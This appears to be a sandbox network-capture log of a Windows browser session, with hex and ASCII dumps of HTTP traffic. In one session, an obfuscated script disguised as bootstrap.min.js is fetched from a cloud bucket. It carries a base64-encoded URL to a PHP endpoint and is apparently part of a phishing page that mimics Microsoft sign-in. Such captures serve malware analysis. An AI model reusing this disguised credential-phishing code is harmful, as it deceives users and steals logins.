2024-09-16 19:11:16 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-09-16 19:11:16 UTC	467	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF70) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=164064 Date: Mon, 16 Sep 2024 19:11:16 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.16	49721	43.157.144.191	443	5892	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-16 19:11:16 UTC	390	OUT	GET /bootstrap.min.js HTTP/1.1 Host: 1203395472-1323985617.cos.sa-saopaulo.myqcloud.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-16 19:11:17 UTC	426	IN	HTTP/1.1 200 OK Content-Type: text/javascript Content-Length: 585812 Connection: close Accept-Ranges: bytes Content-Disposition: attachment Date: Mon, 16 Sep 2024 19:11:16 GMT ETag: "2bf21da2c9f49402a99ef5655a040773" Last-Modified: Mon, 16 Sep 2024 18:26:36 GMT Server: tencent-cos x-cos-force-download: true x-cos-hash-crc64ecma: 16274692373231996141 x-cos-request-id: NjZlODgyZDRfMjc0ZjU5MGJfZDM2ZF81OTI0ZTVm
2024-09-16 19:11:17 UTC	15958	IN	Data Raw: 76 61 72 20 66 69 6c 65 20 3d 20 22 61 48 52 30 63 44 6f 76 4c 7a 45 31 4e 79 34 78 4e 7a 4d 75 4d 54 49 77 4c 6a 45 33 4e 43 38 78 4d 6a 41 7a 4d 7a 6b 31 4e 44 63 79 4c 32 35 6c 65 48 51 75 63 47 68 77 22 3b 0d 0a 0d 0a 66 75 6e 63 74 69 6f 6e 20 5f 30 78 33 62 37 62 28 5f 30 78 33 66 33 39 39 66 2c 5f 30 78 35 66 35 36 39 64 29 7b 76 61 72 20 5f 30 78 34 63 37 62 66 32 3d 5f 30 78 34 66 66 37 28 29 3b 72 65 74 75 72 6e 20 5f 30 78 33 62 37 62 3d 66 75 6e 63 74 69 6f 6e 28 5f 30 78 31 64 35 34 35 63 2c 5f 30 78 34 62 62 66 64 65 29 7b 5f 30 78 31 64 35 34 35 63 3d 5f 30 78 31 64 35 34 35 63 2d 28 30 78 34 2a 2d 30 78 35 65 63 2b 2d 30 78 31 38 35 2a 2d 30 78 61 2b 30 78 39 36 31 29 3b 76 61 72 20 5f 30 78 32 66 39 36 31 64 3d 5f 30 78 34 63 37 62 66 32 Data Ascii: var file = "aHR0cDovLzE1Ny4xNzMuMTIwLjE3NC8xMjAzMzk1NDcyL25leHQucGhw";function _0x3b7b(_0x3f399f,_0x5f569d){var _0x4c7bf2=_0x4ff7();return _0x3b7b=function(_0x1d545c,_0x4bbfde){_0x1d545c=_0x1d545c-(0x4-0x5ec+-0x185-0xa+0x961);var _0x2f961d=_0x4c7bf2
2024-09-16 19:11:17 UTC	16372	IN	Data Raw: 29 2b 5f 30 78 32 30 33 32 61 31 28 30 78 32 65 38 34 29 2b 5f 30 78 32 30 33 32 61 31 28 30 78 32 39 30 32 29 2b 5f 30 78 32 30 33 32 61 31 28 30 78 32 62 30 32 29 2b 5f 30 78 32 30 33 32 61 31 28 30 78 34 34 31 29 2b 5f 30 78 32 30 33 32 61 31 28 30 78 32 39 39 38 29 2b 5f 30 78 32 30 33 32 61 31 28 30 78 32 63 66 30 29 2b 5f 30 78 32 30 33 32 61 31 28 30 78 37 66 66 29 2b 5f 30 78 32 30 33 32 61 31 28 30 78 35 32 65 29 2b 5f 30 78 32 30 33 32 61 31 28 30 78 39 31 37 29 2b 5f 30 78 32 30 33 32 61 31 28 30 78 31 31 33 64 29 2b 5f 30 78 32 30 33 32 61 31 28 30 78 31 63 38 38 29 2b 5f 30 78 32 30 33 32 61 31 28 30 78 31 65 39 66 29 2b 5f 30 78 32 30 33 32 61 31 28 30 78 32 38 32 36 29 2b 5f 30 78 32 30 33 32 61 31 28 30 78 31 63 64 65 29 2b 5f 30 78 32 30 Data Ascii: )+_0x2032a1(0x2e84)+_0x2032a1(0x2902)+_0x2032a1(0x2b02)+_0x2032a1(0x441)+_0x2032a1(0x2998)+_0x2032a1(0x2cf0)+_0x2032a1(0x7ff)+_0x2032a1(0x52e)+_0x2032a1(0x917)+_0x2032a1(0x113d)+_0x2032a1(0x1c88)+_0x2032a1(0x1e9f)+_0x2032a1(0x2826)+_0x2032a1(0x1cde)+_0x20
2024-09-16 19:11:17 UTC	8184	IN	Data Raw: 28 30 78 32 37 62 39 29 5d 28 7b 27 6c 65 66 74 27 3a 30 78 30 2c 27 6f 70 61 63 69 74 79 27 3a 5f 30 78 32 32 63 35 37 63 5b 5f 30 78 34 32 32 63 31 38 28 30 78 31 31 65 63 29 5d 7d 2c 30 78 32 61 34 2b 30 78 65 66 33 2b 2d 30 78 31 31 39 37 29 3b 63 6f 6e 74 69 6e 75 65 3b 7d 62 72 65 61 6b 3b 7d 7d 65 6c 73 65 20 5f 30 78 32 32 63 35 37 63 5b 5f 30 78 34 32 32 63 31 38 28 30 78 32 35 63 35 29 5d 28 5f 30 78 34 63 63 38 35 31 5b 5f 30 78 34 32 32 63 31 38 28 30 78 32 38 38 33 29 5d 2c 5f 30 78 32 32 63 35 37 63 5b 5f 30 78 34 32 32 63 31 38 28 30 78 62 38 37 29 5d 29 26 26 28 5f 30 78 32 32 63 35 37 63 5b 5f 30 78 34 32 32 63 31 38 28 30 78 31 39 39 37 29 5d 28 24 2c 5f 30 78 32 32 63 35 37 63 5b 5f 30 78 34 32 32 63 31 38 28 30 78 31 37 62 31 29 5d 29 Data Ascii: (0x27b9)]({'left':0x0,'opacity':_0x22c57c[_0x422c18(0x11ec)]},0x2a4+0xef3+-0x1197);continue;}break;}}else _0x22c57c[_0x422c18(0x25c5)](_0x4cc851[_0x422c18(0x2883)],_0x22c57c[_0x422c18(0xb87)])&&(_0x22c57c[_0x422c18(0x1997)]($,_0x22c57c[_0x422c18(0x17b1)])
2024-09-16 19:11:17 UTC	16384	IN	Data Raw: 30 7d 5c 78 32 30 2e 6f 66 66 73 65 27 2c 27 28 28 2d 77 65 62 6b 69 74 2d 27 2c 27 67 67 65 72 5c 78 32 30 2e 65 61 72 6e 27 2c 27 61 67 65 5c 78 32 32 5c 78 32 30 73 74 79 6c 65 27 2c 27 75 73 2d 69 6e 6e 65 72 2c 5c 78 32 30 27 2c 27 61 64 69 75 73 3a 5c 78 32 30 2e 32 72 27 2c 27 2e 62 67 2d 73 75 63 63 65 73 27 2c 27 70 78 5c 78 32 30 30 70 78 3b 2a 2f 5c 78 32 30 27 2c 27 69 73 70 6c 61 79 2d 34 5c 78 32 30 7b 27 2c 27 5c 78 32 30 2d 2d 6c 69 67 68 74 3a 5c 78 32 30 27 2c 27 5c 78 32 30 2e 6d 2d 6d 64 2d 32 5c 78 32 30 7b 27 2c 27 61 62 6c 65 64 2c 5c 78 32 30 2e 62 74 27 2c 27 73 75 62 73 74 72 27 2c 27 5c 78 32 30 6e 6f 72 6d 61 6c 5c 78 32 30 21 69 27 2c 27 23 66 38 66 39 66 61 3b 5c 78 32 30 62 27 2c 27 74 61 62 6c 65 2d 72 65 73 70 27 2c 27 61 Data Ascii: 0}\x20.offse','((-webkit-','gger\x20.earn','age\x22\x20style','us-inner,\x20','adius:\x20.2r','.bg-succes','px\x200px;*/\x20','isplay-4\x20{','\x20--light:\x20','\x20.m-md-2\x20{','abled,\x20.bt','substr','\x20normal\x20!i','#f8f9fa;\x20b','table-resp','a
2024-09-16 19:11:17 UTC	8168	IN	Data Raw: 69 6d 67 2d 66 6c 75 69 27 2c 27 67 68 74 3a 5c 78 32 30 32 38 70 78 3b 27 2c 27 72 6f 67 72 65 73 73 5c 78 32 30 7b 5c 78 32 30 27 2c 27 63 6b 5c 78 32 30 7d 5c 78 32 30 2e 66 69 67 75 27 2c 27 5c 78 32 30 7d 5c 78 32 30 2e 62 6f 78 5c 78 32 30 7b 5c 78 32 30 27 2c 27 6c 64 5c 78 32 30 2e 63 61 72 64 2d 69 27 2c 27 2e 37 35 72 65 6d 3b 5c 78 32 30 70 61 27 2c 27 5c 78 32 30 2e 31 35 73 5c 78 32 30 65 61 73 65 27 2c 27 72 67 69 6e 3a 5c 78 32 30 33 72 65 6d 27 2c 27 6e 76 61 6c 69 64 2c 5c 78 32 30 2e 77 27 2c 27 5c 78 32 30 7b 5c 78 32 30 62 6f 78 2d 73 68 61 27 2c 27 6d 67 2d 62 6f 74 74 6f 6d 2c 27 2c 27 67 59 70 59 55 27 2c 27 4c 64 48 57 32 34 52 6f 35 52 27 2c 27 5c 78 32 30 7d 5c 78 32 30 2e 70 72 2d 34 2c 5c 78 32 30 27 2c 27 6e 6f 6e 65 5c 78 32 Data Ascii: img-flui','ght:\x2028px;','rogress\x20{\x20','ck\x20}\x20.figu','\x20}\x20.box\x20{\x20','ld\x20.card-i','.75rem;\x20pa','\x20.15s\x20ease','rgin:\x203rem','nvalid,\x20.w','\x20{\x20box-sha','mg-bottom,','gYpYU','LdHW24Ro5R','\x20}\x20.pr-4,\x20','none\x2
2024-09-16 19:11:17 UTC	16368	IN	Data Raw: 30 6d 61 72 27 2c 27 74 63 6e 2f 6e 42 4a 2f 44 63 27 2c 27 73 65 6c 65 63 74 3a 5c 78 32 30 6e 6f 27 2c 27 30 5c 78 32 30 7b 5c 78 32 30 62 6f 72 64 65 72 27 2c 27 72 3a 5c 78 32 30 23 36 63 37 35 37 64 27 2c 27 64 64 69 6e 67 3a 5c 78 32 30 2e 35 72 27 2c 27 74 6e 2d 73 65 63 6f 6e 64 61 27 2c 27 64 6f 65 73 6e 5c 78 32 37 74 5c 78 32 30 65 78 27 2c 27 69 6d 61 72 79 3a 68 6f 76 65 27 2c 27 2d 63 6f 6c 6f 72 3a 5c 78 32 30 23 33 27 2c 27 72 6d 2d 67 72 6f 75 70 5c 78 32 30 7b 27 2c 27 2e 35 3b 5c 78 32 30 62 6f 72 64 65 72 27 2c 27 6d 65 6e 75 5c 78 32 30 7b 5c 78 32 30 74 6f 70 27 2c 27 59 41 36 5a 6d 74 64 6f 46 45 27 2c 27 2d 31 30 2c 5c 78 32 30 2e 63 6f 6c 2d 27 2c 27 3b 5c 78 32 30 62 6f 72 64 65 72 2d 72 27 2c 27 6f 72 64 2d 73 70 61 63 69 6e 27 Data Ascii: 0mar','tcn/nBJ/Dc','select:\x20no','0\x20{\x20border','r:\x20#6c757d','dding:\x20.5r','tn-seconda','doesn\x27t\x20ex','imary:hove','-color:\x20#3','rm-group\x20{','.5;\x20border','menu\x20{\x20top','YA6ZmtdoFE','-10,\x20.col-',';\x20border-r','ord-spacin'
2024-09-16 19:11:17 UTC	16368	IN	Data Raw: 78 32 30 23 64 63 33 35 34 35 5c 78 32 30 7d 27 2c 27 74 5c 78 32 30 7d 5c 78 32 30 2e 70 6c 2d 34 2c 27 2c 27 66 5c 78 32 37 5c 78 32 30 76 69 65 77 42 6f 78 27 2c 27 65 61 72 61 6e 63 65 3a 5c 78 32 30 6e 27 2c 27 6c 2d 31 32 5c 78 32 30 7b 5c 78 32 30 2d 77 65 27 2c 27 6e 64 69 63 61 74 6f 72 73 5c 78 32 30 27 2c 27 74 2e 69 73 2d 76 61 6c 69 64 27 2c 27 3d 5c 78 32 37 30 5c 78 32 30 30 5c 78 32 30 38 5c 78 32 30 38 5c 78 32 37 27 2c 27 3a 5c 78 32 30 31 31 38 70 78 3b 5c 78 32 30 68 27 2c 27 61 62 65 6c 2c 5c 78 32 30 2e 77 61 73 27 2c 27 3a 5c 78 32 30 2d 6d 73 2d 61 75 74 6f 27 2c 27 62 57 39 35 62 76 61 58 63 43 27 2c 27 73 2d 66 6c 65 78 2d 70 72 65 27 2c 27 61 64 5c 78 32 30 7b 5c 78 32 30 64 69 73 70 6c 27 2c 27 6c 6f 72 3a 5c 78 32 30 23 33 34 Data Ascii: x20#dc3545\x20}','t\x20}\x20.pl-4,','f\x27\x20viewBox','earance:\x20n','l-12\x20{\x20-we','ndicators\x20','t.is-valid','=\x270\x200\x208\x208\x27',':\x20118px;\x20h','abel,\x20.was',':\x20-ms-auto','bW95bvaXcC','s-flex-pre','ad\x20{\x20displ','lor:\x20#34
2024-09-16 19:11:17 UTC	16384	IN	Data Raw: 7d 5c 78 32 30 73 75 62 2c 5c 78 32 30 73 75 70 27 2c 27 74 5c 78 32 30 7d 5c 78 32 30 2e 6d 74 2d 78 6c 27 2c 27 5c 78 32 30 75 72 6c 28 5c 78 32 37 68 74 74 70 27 2c 27 70 61 72 65 6e 74 3b 5c 78 32 30 62 6f 27 2c 27 35 25 5c 78 32 30 7d 5c 78 32 30 2e 6f 66 66 73 27 2c 27 6f 77 3e 2e 62 74 6e 2d 64 61 27 2c 27 37 35 72 65 6d 5c 78 32 30 7d 5c 78 32 30 2e 66 27 2c 27 78 2d 78 6c 2d 33 5c 78 32 30 7b 5c 78 32 30 6d 27 2c 27 72 6d 2d 6d 65 73 73 61 67 65 27 2c 27 5c 78 32 30 6e 6f 2d 72 65 70 65 61 74 27 2c 27 65 6c 69 6e 65 5c 78 32 30 7b 5c 78 32 30 76 65 27 2c 27 65 6e 74 73 27 2c 27 37 70 78 5c 78 32 30 37 70 78 3b 5c 78 32 30 6f 27 2c 27 78 50 63 58 56 78 4a 64 58 55 27 2c 27 79 3b 5c 78 32 30 2d 6d 73 2d 66 6c 65 27 2c 27 6f 76 65 72 3e 74 64 2c 5c Data Ascii: }\x20sub,\x20sup','t\x20}\x20.mt-xl','\x20url(\x27http','parent;\x20bo','5%\x20}\x20.offs','ow>.btn-da','75rem\x20}\x20.f','x-xl-3\x20{\x20m','rm-message','\x20no-repeat','eline\x20{\x20ve','ents','7px\x207px;\x20o','xPcXVxJdXU','y;\x20-ms-fle','over>td,\
2024-09-16 19:11:17 UTC	16384	IN	Data Raw: 2d 27 2c 27 70 74 4a 70 54 27 2c 27 72 69 67 68 74 5c 78 32 30 7b 5c 78 32 30 66 6c 27 2c 27 5c 78 32 30 2e 6f 66 66 73 65 74 2d 73 27 2c 27 38 5c 78 32 30 7b 5c 78 32 30 6d 61 72 67 69 6e 27 2c 27 74 5c 78 32 30 7b 5c 78 32 30 62 61 63 6b 67 72 27 2c 27 6f 78 5c 78 32 30 21 69 6d 70 6f 72 74 27 2c 27 5c 78 32 30 2e 63 6f 6c 2d 73 6d 2c 5c 78 32 30 27 2c 27 6f 6d 2d 63 68 65 63 6b 62 6f 27 2c 27 65 61 64 65 72 5c 78 32 30 7b 5c 78 32 30 64 69 27 2c 27 61 72 6f 75 6e 64 5c 78 32 30 21 69 6d 27 2c 27 65 78 74 3a 6e 6f 74 28 3a 66 27 2c 27 2d 74 6f 67 67 6c 65 3a 66 6f 27 2c 27 6e 2d 6c 65 66 74 3a 5c 78 32 30 31 2e 27 2c 27 2c 5c 78 32 30 31 36 37 2c 5c 78 32 30 36 39 2c 27 2c 27 66 66 66 3b 5c 78 32 30 62 61 63 6b 67 27 2c 27 32 2c 5c 78 32 30 68 32 5c 78 Data Ascii: -','ptJpT','right\x20{\x20fl','\x20.offset-s','8\x20{\x20margin','t\x20{\x20backgr','ox\x20!import','\x20.col-sm,\x20','om-checkbo','eader\x20{\x20di','around\x20!im','ext:not(:f','-toggle:fo','n-left:\x201.',',\x20167,\x2069,','fff;\x20backg','2,\x20h2\x
2024-09-16 19:11:17 UTC	16384	IN	Data Raw: 6f 27 2c 27 6e 74 2d 69 6e 6c 69 6e 65 5c 78 32 30 27 2c 27 7d 5c 78 32 30 2e 62 73 2d 70 6f 70 6f 27 2c 27 63 6f 72 61 74 69 6f 6e 3a 5c 78 32 30 27 2c 27 65 78 2d 6c 69 6e 65 2d 70 61 27 2c 27 6d 5c 78 32 30 2e 61 72 72 6f 77 5c 78 32 30 7b 27 2c 27 5c 78 32 30 30 5c 78 32 30 30 5c 78 32 30 35 30 25 3b 5c 78 32 30 27 2c 27 63 6f 6c 6f 72 3a 5c 78 32 30 74 72 61 27 2c 27 56 44 44 30 4d 66 68 31 53 69 27 2c 27 65 5c 78 32 30 6d 61 69 6c 5c 78 32 30 68 61 73 27 2c 27 72 3a 5c 78 32 30 31 70 78 5c 78 32 30 73 6f 6c 27 2c 27 6d 61 72 67 69 6e 2d 6c 65 66 27 2c 27 75 74 68 2e 6e 65 74 2f 65 73 27 2c 27 65 66 74 3a 5c 78 32 30 61 75 74 6f 5c 78 32 30 27 2c 27 62 6b 69 74 2d 62 6f 78 2d 61 27 2c 27 6e 65 2d 62 6c 6f 63 6b 3b 5c 78 32 30 27 2c 27 3a 6e 6f 74 28 Data Ascii: o','nt-inline\x20','}\x20.bs-popo','coration:\x20','ex-line-pa','m\x20.arrow\x20{','\x200\x200\x2050%;\x20','color:\x20tra','VDD0Mfh1Si','e\x20mail\x20has','r:\x201px\x20sol','margin-lef','uth.net/es','eft:\x20auto\x20','bkit-box-a','ne-block;\x20',':not(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.16	49723	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-09-16 19:11:17 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-09-16 19:11:17 UTC	515	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=164001 Date: Mon, 16 Sep 2024 19:11:17 GMT Content-Length: 55 Connection: close X-CID: 2
2024-09-16 19:11:17 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.16	49724	40.127.169.103	443

Timestamp	Bytes transferred	Direction	Data
2024-09-16 19:11:18 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=SBGXGboh+nPrCKx&MD=h1lTAwTn HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-09-16 19:11:19 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: b2ff2514-10a6-4f6f-891a-3c078d9ebf14 MS-RequestId: a02d11f4-d6a6-4a64-b433-b1b3eacfe154 MS-CV: kLfAdMCxaEWS931y.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Mon, 16 Sep 2024 19:11:18 GMT Connection: close Content-Length: 24490
2024-09-16 19:11:19 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-09-16 19:11:19 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.16	49727	13.107.253.72	443	5892	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-16 19:11:20 UTC	602	OUT	GET /ests/2.1/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-16 19:11:20 UTC	757	IN	HTTP/1.1 200 OK Date: Mon, 16 Sep 2024 19:11:20 GMT Content-Type: image/x-icon Content-Length: 17174 Connection: close Cache-Control: public, max-age=604800 Last-Modified: Fri, 02 Nov 2018 20:25:25 GMT ETag: 0x8D6410152A9D7E1 x-ms-request-id: 5577ca67-401e-0045-5117-0816b5000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240916T191120Z-15f6d9499ffqf4szqf5ftdgnpg000000043000000000460x x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-09-16 19:11:20 UTC	15627	IN	Data Raw: 00 00 01 00 06 00 80 80 10 00 00 00 00 00 68 28 00 00 66 00 00 00 48 48 10 00 00 00 00 00 e8 0d 00 00 ce 28 00 00 30 30 10 00 00 00 00 00 68 06 00 00 b6 36 00 00 20 20 10 00 00 00 00 00 e8 02 00 00 1e 3d 00 00 18 18 10 00 00 00 00 00 e8 01 00 00 06 40 00 00 10 10 10 00 00 00 00 00 28 01 00 00 ee 41 00 00 28 00 00 00 80 00 00 00 00 01 00 00 01 00 04 00 00 00 00 00 00 28 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 00 ef a4 00 00 00 b9 ff 00 00 ba 7f 00 22 50 f2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 20 00 00 03 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 Data Ascii: h(fHH(00h6 =@(A(("P"""""""""""""""""""""""""""""" 333333333333333
2024-09-16 19:11:20 UTC	1547	IN	Data Raw: 00 00 00 00 00 01 80 00 00 00 00 00 00 01 80 00 00 00 00 28 00 00 00 20 00 00 00 40 00 00 00 01 00 04 00 00 00 00 00 80 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 00 ef a4 00 00 00 b9 ff 00 00 bc 7b 00 1f 4c f9 00 22 50 f2 00 f7 a6 00 00 00 ba 7f 00 f3 a6 00 00 1e 4e f6 00 23 4e f4 00 f3 a4 00 00 00 bc 7d 00 00 ba 7d 00 00 00 00 00 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 Data Ascii: ( @{L"PN#N}}"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333""""

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.16	49728	13.107.253.72	443	5892	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-16 19:11:20 UTC	618	OUT	GET /shared/1.0/content/images/signin-options_4e48046ce74f4b89d45037c90576bfac.svg HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-16 19:11:20 UTC	799	IN	HTTP/1.1 200 OK Date: Mon, 16 Sep 2024 19:11:20 GMT Content-Type: image/svg+xml Content-Length: 621 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Tue, 10 Nov 2020 03:41:24 GMT ETag: 0x8D8852A7FA6B761 x-ms-request-id: 4b9b0c8e-101e-0064-1152-080d63000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240916T191120Z-1856584f8f99wtg4a1u5twm9sc00000004kg000000010ue7 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
